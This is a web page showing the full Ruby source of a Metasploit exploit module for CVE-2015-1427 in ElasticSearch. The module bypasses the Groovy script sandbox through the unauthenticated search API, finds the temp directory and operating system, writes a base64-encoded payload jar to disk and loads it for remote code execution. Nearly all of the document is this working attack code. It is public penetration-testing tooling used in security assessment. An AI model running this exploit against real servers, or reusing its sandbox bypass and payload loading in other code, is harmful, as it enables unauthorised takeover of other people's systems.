Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/elasticsearch/search_groovy_script.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::FileDropper9include Msf::Exploit::Remote::HttpClient1011def initialize(info = {})12super(update_info(info,13'Name' => 'ElasticSearch Search Groovy Sandbox Bypass',14'Description' => %q{15This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,16exploitable by default on ElasticSearch prior to 1.4.3. The bug is found in the17REST API, which does not require authentication, where the search function allows18groovy code execution and its sandbox can be bypassed using java.lang.Math.class.forName19to reference arbitrary classes. It can be used to execute arbitrary Java code. This20module has been tested successfully on ElasticSearch 1.4.2 on Ubuntu Server 12.04.21},22'Author' =>23[24'Cameron Morris', # Vulnerability discovery25'Darren Martyn', # Public Exploit26'juan vazquez' # Metasploit module27],28'License' => MSF_LICENSE,29'References' =>30[31['CVE', '2015-1427'],32['URL', 'https://jordan-wright.github.io/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/'],33['URL', 'https://github.com/XiphosResearch/exploits/tree/master/ElasticSearch'],34['URL', 'http://drops.wooyun.org/papers/5107']35],36'Platform' => 'java',37'Arch' => ARCH_JAVA,38'Targets' =>39[40['ElasticSearch 1.4.2', {}]41],42'DisclosureDate' => '2015-02-11',43'DefaultTarget' => 0))4445register_options(46[47Opt::RPORT(9200),48OptString.new('TARGETURI', [true, 'The path to the ElasticSearch REST API', "/"])49])50end5152def check53result = Exploit::CheckCode::Safe5455if vulnerable?56result = Exploit::CheckCode::Vulnerable57end5859result60end6162def exploit63print_status("Checking vulnerability...")64unless vulnerable?65fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")66end6768print_status("Discovering TEMP path...")69res = execute(java_tmp_dir)70tmp_dir = parse_result(res)71if tmp_dir.nil?72fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")73else74print_good("TEMP path on '#{tmp_dir}'")75end7677print_status("Discovering remote OS...")78res = execute(java_os)79os = parse_result(res)80if os.nil?81fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")82else83print_good("Remote OS is '#{os}'")84end8586if os =~ /win/i87tmp_file = "#{tmp_dir}#{rand_text_alpha(4 + rand(4))}.jar"88else89tmp_file = File.join(tmp_dir, "#{rand_text_alpha(4 + rand(4))}.jar")90end9192register_files_for_cleanup(tmp_file)9394print_status("Trying to load metasploit payload...")95java = java_load_class(os, tmp_file)96execute(java)97end9899def vulnerable?100java = 'java.lang.Math.class.forName("java.lang.Runtime")'101102vprint_status("Trying to get a reference to java.lang.Runtime...")103res = execute(java)104result = parse_result(res)105106if result.nil?107vprint_status("no response to test")108return false109elsif result == 'class java.lang.Runtime'110return true111end112113false114end115116def parse_result(res)117unless res118vprint_error("No response")119return nil120end121122unless res.code == 200 && res.body123vprint_error("Target answered with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)")124return nil125end126127begin128json = JSON.parse(res.body.to_s)129rescue JSON::ParserError130return nil131end132133begin134result = json['hits']['hits'][0]['fields']['msf_result']135rescue136return nil137end138139result.is_a?(::Array) ? result.first : result140end141142def java_tmp_dir143'java.lang.Math.class.forName("java.lang.System").getProperty("java.io.tmpdir")'144end145146def java_os147'java.lang.Math.class.forName("java.lang.System").getProperty("os.name")'148end149150def java_load_class(os, tmp_file)151if os =~ /win/i152tmp_file.gsub!(/\\/, '\\\\\\\\')153end154155java = [156'c=java.lang.Math.class.forName("java.io.FileOutputStream");',157'b64=java.lang.Math.class.forName("sun.misc.BASE64Decoder");',158"i=c.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\");",159'b64_i=b64.newInstance();',160"i.write(b64_i.decodeBuffer(\"#{Rex::Text.encode_base64(payload.encoded)}\"));",161'loader_class=java.lang.Math.class.forName("java.net.URLClassLoader");',162'file_class=java.lang.Math.class.forName("java.io.File");',163"file_url=file_class.getDeclaredConstructor(String.class).newInstance(\"#{tmp_file}\").toURI().toURL();",164'loader=loader_class.newInstance();',165'loader.addURL(file_url);',166'm=loader.loadClass(\'metasploit.Payload\');',167'm.main(null);'168]169170java.join171end172173def execute(java, timeout = 20)174payload = {175"size" => 1,176"query" => {177"filtered" => {178"query" => {179"match_all" => {}180}181}182},183"script_fields" => {184"msf_result" => {185"script" => java,186"lang" => "groovy"187}188}189}190191res = send_request_cgi({192'uri' => normalize_uri(target_uri.path.to_s, "_search"),193'method' => 'POST',194'data' => JSON.generate(payload)195}, timeout)196197res198end199end200201202